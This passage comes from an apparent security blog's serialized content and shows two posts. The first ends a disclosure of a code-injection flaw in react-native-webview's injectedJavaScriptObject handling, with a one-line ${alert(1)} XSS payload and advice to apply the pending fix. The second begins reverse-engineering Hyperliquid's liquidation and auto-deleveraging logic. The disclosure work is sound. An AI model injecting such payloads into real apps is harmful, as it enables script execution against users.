\"(function(){",{"type":20,"tag":315,"props":156851,"children":156852},{"style":46624},[156853],{"type":26,"value":46627},{"type":20,"tag":315,"props":156855,"children":156856},{"style":2652},[156857],{"type":26,"value":18463},{"type":20,"tag":315,"props":156859,"children":156860},{"style":334},[156861],{"type":26,"value":8187},{"type":20,"tag":315,"props":156863,"children":156864},{"class":317,"line":374},[156865,156870,156874,156879,156883,156888,156892,156896,156900,156905,156909,156913],{"type":20,"tag":315,"props":156866,"children":156867},{"style":2652},[156868],{"type":26,"value":156869}," \" window.\"",{"type":20,"tag":315,"props":156871,"children":156872},{"style":334},[156873],{"type":26,"value":7301},{"type":20,"tag":315,"props":156875,"children":156876},{"style":328},[156877],{"type":26,"value":156878}," JAVASCRIPT_INTERFACE ",{"type":20,"tag":315,"props":156880,"children":156881},{"style":334},[156882],{"type":26,"value":817},{"type":20,"tag":315,"props":156884,"children":156885},{"style":2652},[156886],{"type":26,"value":156887}," \" = window.\"",{"type":20,"tag":315,"props":156889,"children":156890},{"style":334},[156891],{"type":26,"value":7301},{"type":20,"tag":315,"props":156893,"children":156894},{"style":328},[156895],{"type":26,"value":156878},{"type":20,"tag":315,"props":156897,"children":156898},{"style":334},[156899],{"type":26,"value":817},{"type":20,"tag":315,"props":156901,"children":156902},{"style":2652},[156903],{"type":26,"value":156904}," \" || {};",{"type":20,"tag":315,"props":156906,"children":156907},{"style":46624},[156908],{"type":26,"value":46627},{"type":20,"tag":315,"props":156910,"children":156911},{"style":2652},[156912],{"type":26,"value":18463},{"type":20,"tag":315,"props":156914,"children":156915},{"style":334},[156916],{"type":26,"value":8187},{"type":20,"tag":315,"props":156918,"children":156919},{"class":317,"line":383},[156920,156924,156928,156932,156936,156941,156945,156950,156954,156958,156962,156966,156970,156974,156979,156983,156988,156992,156997,157001,157005,157010,157014,157018],{"type":20,"tag":315,"props":156921,"children":156922},{"style":2652},[156923],{"type":26,"value":156869},{"type":20,"tag":315,"props":156925,"children":156926},{"style":334},[156927],{"type":26,"value":7301},{"type":20,"tag":315,"props":156929,"children":156930},{"style":328},[156931],{"type":26,"value":156878},{"type":20,"tag":315,"props":156933,"children":156934},{"style":334},[156935],{"type":26,"value":817},{"type":20,"tag":315,"props":156937,"children":156938},{"style":2652},[156939],{"type":26,"value":156940}," \".injectedObjectJson = function () { return \"",{"type":20,"tag":315,"props":156942,"children":156943},{"style":334},[156944],{"type":26,"value":7301},{"type":20,"tag":315,"props":156946,"children":156947},{"style":328},[156948],{"type":26,"value":156949}," (injectedJavaScriptObject ",{"type":20,"tag":315,"props":156951,"children":156952},{"style":334},[156953],{"type":26,"value":538},{"type":20,"tag":315,"props":156955,"children":156956},{"style":541},[156957],{"type":26,"value":68525},{"type":20,"tag":315,"props":156959,"children":156960},{"style":525},[156961],{"type":26,"value":96299},{"type":20,"tag":315,"props":156963,"children":156964},{"style":541},[156965],{"type":26,"value":68525},{"type":20,"tag":315,"props":156967,"children":156968},{"style":525},[156969],{"type":26,"value":33531},{"type":20,"tag":315,"props":156971,"children":156972},{"style":328},[156973],{"type":26,"value":463},{"type":20,"tag":315,"props":156975,"children":156976},{"style":2652},[156977],{"type":26,"value":156978},"\"`\"",{"type":20,"tag":315,"props":156980,"children":156981},{"style":334},[156982],{"type":26,"value":7301},{"type":20,"tag":315,"props":156984,"children":156985},{"style":328},[156986],{"type":26,"value":156987}," injectedJavaScriptObject ",{"type":20,"tag":315,"props":156989,"children":156990},{"style":334},[156991],{"type":26,"value":817},{"type":20,"tag":315,"props":156993,"children":156994},{"style":2652},[156995],{"type":26,"value":156996}," \"`\"",{"type":20,"tag":315,"props":156998,"children":156999},{"style":328},[157000],{"type":26,"value":7233},{"type":20,"tag":315,"props":157002,"children":157003},{"style":334},[157004],{"type":26,"value":817},{"type":20,"tag":315,"props":157006,"children":157007},{"style":2652},[157008],{"type":26,"value":157009}," \"; };",{"type":20,"tag":315,"props":157011,"children":157012},{"style":46624},[157013],{"type":26,"value":46627},{"type":20,"tag":315,"props":157015,"children":157016},{"style":2652},[157017],{"type":26,"value":18463},{"type":20,"tag":315,"props":157019,"children":157020},{"style":334},[157021],{"type":26,"value":8187},{"type":20,"tag":315,"props":157023,"children":157024},{"class":317,"line":407},[157025,157030],{"type":20,"tag":315,"props":157026,"children":157027},{"style":2652},[157028],{"type":26,"value":157029}," \"})();\"",{"type":20,"tag":315,"props":157031,"children":157032},{"style":328},[157033],{"type":26,"value":1405},{"type":20,"tag":315,"props":157035,"children":157036},{"class":317,"line":421},[157037,157042],{"type":20,"tag":315,"props":157038,"children":157039},{"style":345},[157040],{"type":26,"value":157041}," evaluateJavascriptWithFallback",{"type":20,"tag":315,"props":157043,"children":157044},{"style":328},[157045],{"type":26,"value":157046},"(js);\n",{"type":20,"tag":315,"props":157048,"children":157049},{"class":317,"line":430},[157050],{"type":20,"tag":315,"props":157051,"children":157052},{"style":328},[157053],{"type":26,"value":11064},{"type":20,"tag":29,"props":157055,"children":157056},{},[157057,157059,157065,157067,157072,157074,157080],{"type":26,"value":157058},"It basically injects a javascript code with the ",{"type":20,"tag":119,"props":157060,"children":157062},{"className":157061},[],[157063],{"type":26,"value":157064},"injectedJavascriptObject",{"type":26,"value":157066}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":20,"tag":119,"props":157068,"children":157070},{"className":157069},[],[157071],{"type":26,"value":157064},{"type":26,"value":157073},". If we control a single attribute we can inject a payload like ",{"type":20,"tag":119,"props":157075,"children":157077},{"className":157076},[],[157078],{"type":26,"value":157079},"${alert(1)}",{"type":26,"value":157081}," and achieve XSS in the context of the loaded page.",{"type":20,"tag":29,"props":157083,"children":157084},{},[157085,157087,157094],{"type":26,"value":157086},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":20,"tag":35,"props":157088,"children":157091},{"href":157089,"rel":157090},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[39],[157092],{"type":26,"value":157093},"PR with the report and fix",{"type":26,"value":61},{"type":20,"tag":29,"props":157096,"children":157097},{},[157098],{"type":26,"value":157099},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":20,"tag":29,"props":157101,"children":157102},{},[157103,157105,157111],{"type":26,"value":157104},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":20,"tag":119,"props":157106,"children":157108},{"className":157107},[],[157109],{"type":26,"value":157110},"injectedJavaScriptObject",{"type":26,"value":157112}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":20,"tag":219,"props":157114,"children":157115},{"id":1211},[157116],{"type":26,"value":1214},{"type":20,"tag":29,"props":157118,"children":157119},{},[157120],{"type":26,"value":157121},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":20,"tag":1226,"props":157123,"children":157124},{},[157125],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":157127},[157128,157132,157135,157136],{"id":154851,"depth":356,"text":154854,"children":157129},[157130,157131],{"id":154862,"depth":365,"text":154865},{"id":154937,"depth":365,"text":154940},{"id":154970,"depth":356,"text":154973,"children":157133},[157134],{"id":155160,"depth":365,"text":155163},{"id":156680,"depth":356,"text":156683},{"id":156755,"depth":356,"text":156758,"children":157137},[157138],{"id":1211,"depth":365,"text":1214},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":157143,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":157144,"description":157145,"date":157146,"author":157147,"image":157148,"isFeatured":15,"onBlogPage":15,"tags":157152,"hideToc":15,"body":157156,"_type":1242,"_id":163795,"_source":1244,"_file":163796,"_stem":163797,"_extension":1247},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":157149,"width":157150,"height":157151},"/posts/hyperliquid-risk-engine/title.png",1456,816,[157153,157154,157155],"hyperliquid","reverse-engineering","defi",{"type":17,"children":157157,"toc":163767},[157158,157164,157172,157177,157182,157187,157199,157204,157217,157236,157242,157254,157267,157272,157303,157308,157321,157326,157517,157523,157528,157540,157546,157551,157557,157570,157604,157609,157614,157626,157632,157652,157660,157673,157679,157690,157696,157708,157713,157719,157739,157747,157753,157787,157791,157827,157832,157837,157842,157855,157892,157897,157911,157917,157922,157948,157956,157961,157989,157994,157999,158337,158342,158347,158367,158394,158399,158412,158424,158429,158434,158440,158445,158450,158464,158469,158475,158503,158540,158551,158555,158560,158565,158571,158737,158772,158777,158783,158789,158978,158991,158996,159002,159023,159028,159034,159039,159044,159056,159061,159066,159072,159077,159082,159088,159094,159107,159140,159145,161721,161989,161994,163324,163329,163334,163346,163437,163449,163454,163460,163465,163473,163478,163486,163492,163526,163537,163545,163551,163557,163562,163570,163575,163580,163588,163600,163606,163611,163617,163628,163633,163639,163644,163649,163655,163660,163663,163668,163673,163679,163684,163696,163701,163706],{"type":20,"tag":21,"props":157159,"children":157161},{"id":157160},"perpetuals",[157162],{"type":26,"value":157163},"Perpetuals",{"type":20,"tag":1312,"props":157165,"children":157166},{},[157167],{"type":20,"tag":29,"props":157168,"children":157169},{},[157170],{"type":26,"value":157171},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":20,"tag":29,"props":157173,"children":157174},{},[157175],{"type":26,"value":157176},"What does that even have to do with reverse engineering?",{"type":20,"tag":21,"props":157178,"children":157179},{"id":157153},[157180],{"type":26,"value":157181},"Hyperliquid",{"type":20,"tag":29,"props":157183,"children":157184},{},[157185],{"type":26,"value":157186},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":20,"tag":29,"props":157188,"children":157189},{},[157190,157192,157197],{"type":26,"value":157191},"The node is tasked with a ",{"type":20,"tag":55,"props":157193,"children":157194},{},[157195],{"type":26,"value":157196},"very hard problem",{"type":26,"value":157198},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":20,"tag":29,"props":157200,"children":157201},{},[157202],{"type":26,"value":157203},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":20,"tag":29,"props":157205,"children":157206},{},[157207,157209,157215],{"type":26,"value":157208},"Beyond that, the ",{"type":20,"tag":119,"props":157210,"children":157212},{"className":157211},[],[157213],{"type":26,"value":157214},"hl-node",{"type":26,"value":157216}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":20,"tag":29,"props":157218,"children":157219},{},[157220,157222,157227,157229,157234],{"type":26,"value":157221},"Armed with some curiosity, a good amount of ",{"type":20,"tag":55,"props":157223,"children":157224},{},[157225],{"type":26,"value":157226},"inference",{"type":26,"value":157228},", and the right tooling, we'll take a deep dive using an ",{"type":20,"tag":55,"props":157230,"children":157231},{},[157232],{"type":26,"value":157233},"interactive interface",{"type":26,"value":157235},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":20,"tag":21,"props":157237,"children":157239},{"id":157238},"the-million-dollar-question",[157240],{"type":26,"value":157241},"The Million Dollar Question",{"type":20,"tag":29,"props":157243,"children":157244},{},[157245,157247,157252],{"type":26,"value":157246},"Let's say a terrible trader opens a ",{"type":20,"tag":55,"props":157248,"children":157249},{},[157250],{"type":26,"value":157251},"50x",{"type":26,"value":157253}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":20,"tag":29,"props":157255,"children":157256},{},[157257,157259,157265],{"type":26,"value":157258},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":20,"tag":119,"props":157260,"children":157262},{"className":157261},[],[157263],{"type":26,"value":157264},"compute_margin_requirement_by_mode",{"type":26,"value":157266}," function.",{"type":20,"tag":29,"props":157268,"children":157269},{},[157270],{"type":26,"value":157271},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":20,"tag":157273,"props":157274,"children":157275},"tip",{},[157276],{"type":20,"tag":29,"props":157277,"children":157278},{},[157279,157281,157286,157288,157295,157297,157302],{"type":26,"value":157280},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":20,"tag":55,"props":157282,"children":157283},{},[157284],{"type":26,"value":157285},"click through",{"type":26,"value":157287}," each action performed by ",{"type":20,"tag":35,"props":157289,"children":157292},{"href":157290,"rel":157291},"https://github.com/renato-osec/patina-research",[39],[157293],{"type":26,"value":157294},"our Rust reverse engineering agent",{"type":26,"value":157296},". Return to the regular view by clicking ",{"type":20,"tag":119,"props":157298,"children":157300},{"className":157299},[],[157301],{"type":26,"value":4381},{"type":26,"value":61},{"type":20,"tag":157304,"props":157305,"children":157307},"bndb-viewer-embed",{"addr":157306,"line-start":2406,"line-end":132812},"0x555556bb4d20",[],{"type":20,"tag":29,"props":157309,"children":157310},{},[157311,157313,157319],{"type":26,"value":157312},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":20,"tag":119,"props":157314,"children":157316},{"className":157315},[],[157317],{"type":26,"value":157318},"OptionUnitQty",{"type":26,"value":157320},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":20,"tag":29,"props":157322,"children":157323},{},[157324],{"type":26,"value":157325},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":20,"tag":305,"props":157327,"children":157328},{},[157329],{"type":20,"tag":119,"props":157330,"children":157333},{"className":157331},[2375,157332],"math-display",[157334],{"type":20,"tag":315,"props":157335,"children":157338},{"className":157336},[157337],"katex-display",[157339],{"type":20,"tag":315,"props":157340,"children":157342},{"className":157341},[2381],[157343],{"type":20,"tag":315,"props":157344,"children":157346},{"className":157345,"ariaHidden":2387},[2386],[157347,157378],{"type":20,"tag":315,"props":157348,"children":157350},{"className":157349},[2392],[157351,157355,157365,157369,157374],{"type":20,"tag":315,"props":157352,"children":157354},{"className":157353,"style":92718},[2397],[],{"type":20,"tag":315,"props":157356,"children":157358},{"className":157357},[2403,26],[157359],{"type":20,"tag":315,"props":157360,"children":157362},{"className":157361},[2403],[157363],{"type":26,"value":157364},"liq_equity",{"type":20,"tag":315,"props":157366,"children":157368},{"className":157367,"style":2581},[2483],[],{"type":20,"tag":315,"props":157370,"children":157372},{"className":157371},[2586],[157373],{"type":26,"value":337},{"type":20,"tag":315,"props":157375,"children":157377},{"className":157376,"style":2581},[2483],[],{"type":20,"tag":315,"props":157379,"children":157381},{"className":157380},[2392],[157382,157387],{"type":20,"tag":315,"props":157383,"children":157386},{"className":157384,"style":157385},[2397],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":20,"tag":315,"props":157388,"children":157390},{"className":157389},[2403],[157391,157395,157513],{"type":20,"tag":315,"props":157392,"children":157394},{"className":157393},[20121,111823],[],{"type":20,"tag":315,"props":157396,"children":157398},{"className":157397},[111828],[157399],{"type":20,"tag":315,"props":157400,"children":157402},{"className":157401},[2424,20046],[157403,157501],{"type":20,"tag":315,"props":157404,"children":157406},{"className":157405},[2429],[157407,157496],{"type":20,"tag":315,"props":157408,"children":157411},{"className":157409,"style":157410},[2434],"height:1.427em;",[157412,157452,157463],{"type":20,"tag":315,"props":157413,"children":157415},{"style":157414},"top:-2.314em;",[157416,157420],{"type":20,"tag":315,"props":157417,"children":157419},{"className":157418,"style":110476},[2443],[],{"type":20,"tag":315,"props":157421,"children":157423},{"className":157422},[2403],[157424,157429,157433,157438,157442],{"type":20,"tag":315,"props":157425,"children":157427},{"className":157426},[2403],[157428],{"type":26,"value":1504},{"type":20,"tag":315,"props":157430,"children":157432},{"className":157431,"style":2484},[2483],[],{"type":20,"tag":315,"props":157434,"children":157436},{"className":157435},[2489],[157437],{"type":26,"value":109567},{"type":20,"tag":315,"props":157439,"children":157441},{"className":157440,"style":2484},[2483],[],{"type":20,"tag":315,"props":157443,"children":157445},{"className":157444},[2403,26],[157446],{"type":20,"tag":315,"props":157447,"children":157449},{"className":157448},[2403],[157450],{"type":26,"value":157451},"leverage",{"type":20,"tag":315,"props":157453,"children":157454},{"style":111878},[157455,157459],{"type":20,"tag":315,"props":157456,"children":157458},{"className":157457,"style":110476},[2443],[],{"type":20,"tag":315,"props":157460,"children":157462},{"className":157461,"style":111888},[111887],[],{"type":20,"tag":315,"props":157464,"children":157466},{"style":157465},"top:-3.677em;",[157467,157471],{"type":20,"tag":315,"props":157468,"children":157470},{"className":157469,"style":110476},[2443],[],{"type":20,"tag":315,"props":157472,"children":157474},{"className":157473},[2403],[157475,157481,157491],{"type":20,"tag":315,"props":157476,"children":157478},{"className":157477},[2403],[157479],{"type":26,"value":157480},"∣",{"type":20,"tag":315,"props":157482,"children":157484},{"className":157483},[2403,26],[157485],{"type":20,"tag":315,"props":157486,"children":157488},{"className":157487},[2403],[157489],{"type":26,"value":157490},"notional",{"type":20,"tag":315,"props":157492,"children":157494},{"className":157493},[2403],[157495],{"type":26,"value":157480},{"type":20,"tag":315,"props":157497,"children":157499},{"className":157498},[20149],[157500],{"type":26,"value":20152},{"type":20,"tag":315,"props":157502,"children":157504},{"className":157503},[2429],[157505],{"type":20,"tag":315,"props":157506,"children":157509},{"className":157507,"style":157508},[2434],"height:0.8804em;",[157510],{"type":20,"tag":315,"props":157511,"children":157512},{},[],{"type":20,"tag":315,"props":157514,"children":157516},{"className":157515},[20143,111823],[],{"type":20,"tag":21,"props":157518,"children":157520},{"id":157519},"what-if-nobody-wants-to-buy-the-position",[157521],{"type":26,"value":157522},"What If Nobody Wants to Buy the Position?",{"type":20,"tag":29,"props":157524,"children":157525},{},[157526],{"type":26,"value":157527},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":20,"tag":29,"props":157529,"children":157530},{},[157531,157533,157538],{"type":26,"value":157532},"When that happens, the exchange is basically left with a ",{"type":20,"tag":55,"props":157534,"children":157535},{},[157536],{"type":26,"value":157537},"hot potato",{"type":26,"value":157539}," to get rid of: what should it even do with the debt?",{"type":20,"tag":33788,"props":157541,"children":157543},{"id":157542},"the-risk-engine",[157544],{"type":26,"value":157545},"The Risk Engine",{"type":20,"tag":29,"props":157547,"children":157548},{},[157549],{"type":26,"value":157550},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":20,"tag":21,"props":157552,"children":157554},{"id":157553},"clearing-up-bad-debt",[157555],{"type":26,"value":157556},"Clearing Up Bad Debt",{"type":20,"tag":29,"props":157558,"children":157559},{},[157560,157561,157568],{"type":26,"value":15015},{"type":20,"tag":35,"props":157562,"children":157565},{"href":157563,"rel":157564},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[39],[157566],{"type":26,"value":157567},"Hyperliquid docs",{"type":26,"value":157569}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":20,"tag":29,"props":157571,"children":157572},{},[157573,157575,157586,157588,157594,157596,157602],{"type":26,"value":157574},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":20,"tag":35,"props":157576,"children":157579},{"href":157577,"rel":157578},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[39],[157580],{"type":20,"tag":119,"props":157581,"children":157583},{"className":157582},[],[157584],{"type":26,"value":157585},"Clearinghouse",{"type":26,"value":157587},", a struct containing all liquidation-related info, nested within a bigger ",{"type":20,"tag":119,"props":157589,"children":157591},{"className":157590},[],[157592],{"type":26,"value":157593},"Exchange",{"type":26,"value":157595}," data structure. This is an example of what it might hold when serialized as ",{"type":20,"tag":119,"props":157597,"children":157599},{"className":157598},[],[157600],{"type":26,"value":157601},"MessagePack",{"type":26,"value":157603}," at runtime.",{"type":20,"tag":29,"props":157605,"children":157606},{},[157607],{"type":26,"value":157608},"This data will come in handy both for us and the agent.",{"type":20,"tag":157610,"props":157611,"children":157613},"file-download",{"path":157612},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":20,"tag":29,"props":157615,"children":157616},{},[157617,157619,157624],{"type":26,"value":157618},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":20,"tag":119,"props":157620,"children":157622},{"className":157621},[],[157623],{"type":26,"value":157585},{"type":26,"value":157625},". Some renaming later, we can infer something like this:",{"type":20,"tag":157304,"props":157627,"children":157631},{"source":157628,"target":157629,"direction":157630},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":20,"tag":29,"props":157633,"children":157634},{},[157635,157637,157642,157644,157650],{"type":26,"value":157636},"We have one huge function handling all clearinghouse operations, which we call ",{"type":20,"tag":119,"props":157638,"children":157640},{"className":157639},[],[157641],{"type":26,"value":157629},{"type":26,"value":157643},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":20,"tag":119,"props":157645,"children":157647},{"className":157646},[],[157648],{"type":26,"value":157649},"exchange_end_block",{"type":26,"value":157651},". So, at the end of each block we run some checks.",{"type":20,"tag":157273,"props":157653,"children":157654},{},[157655],{"type":20,"tag":29,"props":157656,"children":157657},{},[157658],{"type":26,"value":157659},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":20,"tag":29,"props":157661,"children":157662},{},[157663,157665,157671],{"type":26,"value":157664},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":20,"tag":119,"props":157666,"children":157668},{"className":157667},[],[157669],{"type":26,"value":157670},"clearinghouse.perform_auto_deleveraging",{"type":26,"value":157672}," flag.",{"type":20,"tag":157304,"props":157674,"children":157678},{"addr":157675,"line-start":157676,"line-end":157677},"0x555556ac3850","3290","3301",[],{"type":20,"tag":29,"props":157680,"children":157681},{},[157682,157684,157689],{"type":26,"value":157683},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":20,"tag":119,"props":157685,"children":157687},{"className":157686},[],[157688],{"type":26,"value":157585},{"type":26,"value":1537},{"type":20,"tag":219,"props":157691,"children":157693},{"id":157692},"threshold-condition",[157694],{"type":26,"value":157695},"Threshold Condition",{"type":20,"tag":29,"props":157697,"children":157698},{},[157699,157701,157706],{"type":26,"value":157700},"The natural connection between liquidations and ADL is ",{"type":20,"tag":55,"props":157702,"children":157703},{},[157704],{"type":26,"value":157705},"shortfall",{"type":26,"value":157707},": by how much a position, or the entire system (!), is underwater.",{"type":20,"tag":29,"props":157709,"children":157710},{},[157711],{"type":26,"value":157712},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":20,"tag":17297,"props":157714,"children":157716},{"id":157715},"who-is-underwater",[157717],{"type":26,"value":157718},"Who Is Underwater?",{"type":20,"tag":29,"props":157720,"children":157721},{},[157722,157724,157729,157731,157737],{"type":26,"value":157723},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":20,"tag":119,"props":157725,"children":157727},{"className":157726},[],[157728],{"type":26,"value":157629},{"type":26,"value":157730},", starting from all user positions, which are stored in ",{"type":20,"tag":119,"props":157732,"children":157734},{"className":157733},[],[157735],{"type":26,"value":157736},"clearinghouse.user_states",{"type":26,"value":157738},", as we can also see from the serialization.",{"type":20,"tag":157273,"props":157740,"children":157741},{},[157742],{"type":20,"tag":29,"props":157743,"children":157744},{},[157745],{"type":26,"value":157746},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":20,"tag":157304,"props":157748,"children":157752},{"source":157749,"target":157649,"direction":157750,"path":157751},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":20,"tag":29,"props":157754,"children":157755},{},[157756,157757,157762,157764,157770,157772,157778,157780,157786],{"type":26,"value":15015},{"type":20,"tag":119,"props":157758,"children":157760},{"className":157759},[],[157761],{"type":26,"value":157749},{"type":26,"value":157763}," essentially turns that into an ",{"type":20,"tag":119,"props":157765,"children":157767},{"className":157766},[],[157768],{"type":26,"value":157769},"Iter",{"type":26,"value":157771},", then, inside of ",{"type":20,"tag":119,"props":157773,"children":157775},{"className":157774},[],[157776],{"type":26,"value":157777},"build_adl_candidate_set",{"type":26,"value":157779}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":20,"tag":119,"props":157781,"children":157783},{"className":157782},[],[157784],{"type":26,"value":157785},"AdlIterEntry",{"type":26,"value":56579},{"type":20,"tag":157304,"props":157788,"children":157790},{"type-name":157789},"AdlIterContext",[],{"type":20,"tag":29,"props":157792,"children":157793},{},[157794,157796,157802,157804,157810,157812,157818,157820,157825],{"type":26,"value":157795},"Note that in storage, ",{"type":20,"tag":119,"props":157797,"children":157799},{"className":157798},[],[157800],{"type":26,"value":157801},"Isolated",{"type":26,"value":157803}," positions have their own independent ",{"type":20,"tag":119,"props":157805,"children":157807},{"className":157806},[],[157808],{"type":26,"value":157809},"Entry",{"type":26,"value":157811}," in the position iterators, and ",{"type":20,"tag":119,"props":157813,"children":157815},{"className":157814},[],[157816],{"type":26,"value":157817},"Cross",{"type":26,"value":157819}," positions have a single common ",{"type":20,"tag":119,"props":157821,"children":157823},{"className":157822},[],[157824],{"type":26,"value":157809},{"type":26,"value":157826},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":20,"tag":157304,"props":157828,"children":157831},{"addr":157829,"line-start":42675,"line-end":157830},"0x555556266b10","163",[],{"type":20,"tag":29,"props":157833,"children":157834},{},[157835],{"type":26,"value":157836},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":20,"tag":157304,"props":157838,"children":157841},{"addr":157675,"line-start":157839,"line-end":157840},"506","527",[],{"type":20,"tag":29,"props":157843,"children":157844},{},[157845,157847],{"type":26,"value":157846},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":20,"tag":157848,"props":157849,"children":157852},"bndb-xref",{"lines":157850,"addrs":157851},"1-2","0x555556ac3e18-0x555556ac3e18",[157853],{"type":26,"value":157854},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":20,"tag":29,"props":157856,"children":157857},{},[157858,157860,157866,157868,157874,157876,157882,157884,157890],{"type":26,"value":157859},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":20,"tag":119,"props":157861,"children":157863},{"className":157862},[],[157864],{"type":26,"value":157865},"only_isolated",{"type":26,"value":157867}," (or ",{"type":20,"tag":119,"props":157869,"children":157871},{"className":157870},[],[157872],{"type":26,"value":157873},"strict_isolated",{"type":26,"value":157875}," in MessagePack dumps) are added to a separate queue, ",{"type":20,"tag":119,"props":157877,"children":157879},{"className":157878},[],[157880],{"type":26,"value":157881},"deferred_queue",{"type":26,"value":157883},", which triggers ADL regardless of the system's ",{"type":20,"tag":119,"props":157885,"children":157887},{"className":157886},[],[157888],{"type":26,"value":157889},"total_shortfall",{"type":26,"value":157891},". This is dictated by this branch.",{"type":20,"tag":157304,"props":157893,"children":157896},{"addr":157675,"line-start":157894,"line-end":157895},"211","243",[],{"type":20,"tag":29,"props":157898,"children":157899},{},[157900,157902,157909],{"type":26,"value":157901},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":20,"tag":35,"props":157903,"children":157906},{"href":157904,"rel":157905},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[39],[157907],{"type":26,"value":157908},"March 2025 incident",{"type":26,"value":157910},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":20,"tag":17297,"props":157912,"children":157914},{"id":157913},"how-do-we-get-rid-of-debt",[157915],{"type":26,"value":157916},"How Do We Get Rid of Debt?",{"type":20,"tag":29,"props":157918,"children":157919},{},[157920],{"type":26,"value":157921},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":20,"tag":29,"props":157923,"children":157924},{},[157925,157927,157932,157934,157939,157941,157946],{"type":26,"value":157926},"Thus, if the debt is insurmountable, the ",{"type":20,"tag":119,"props":157928,"children":157930},{"className":157929},[],[157931],{"type":26,"value":157881},{"type":26,"value":157933}," is overwritten by all the users 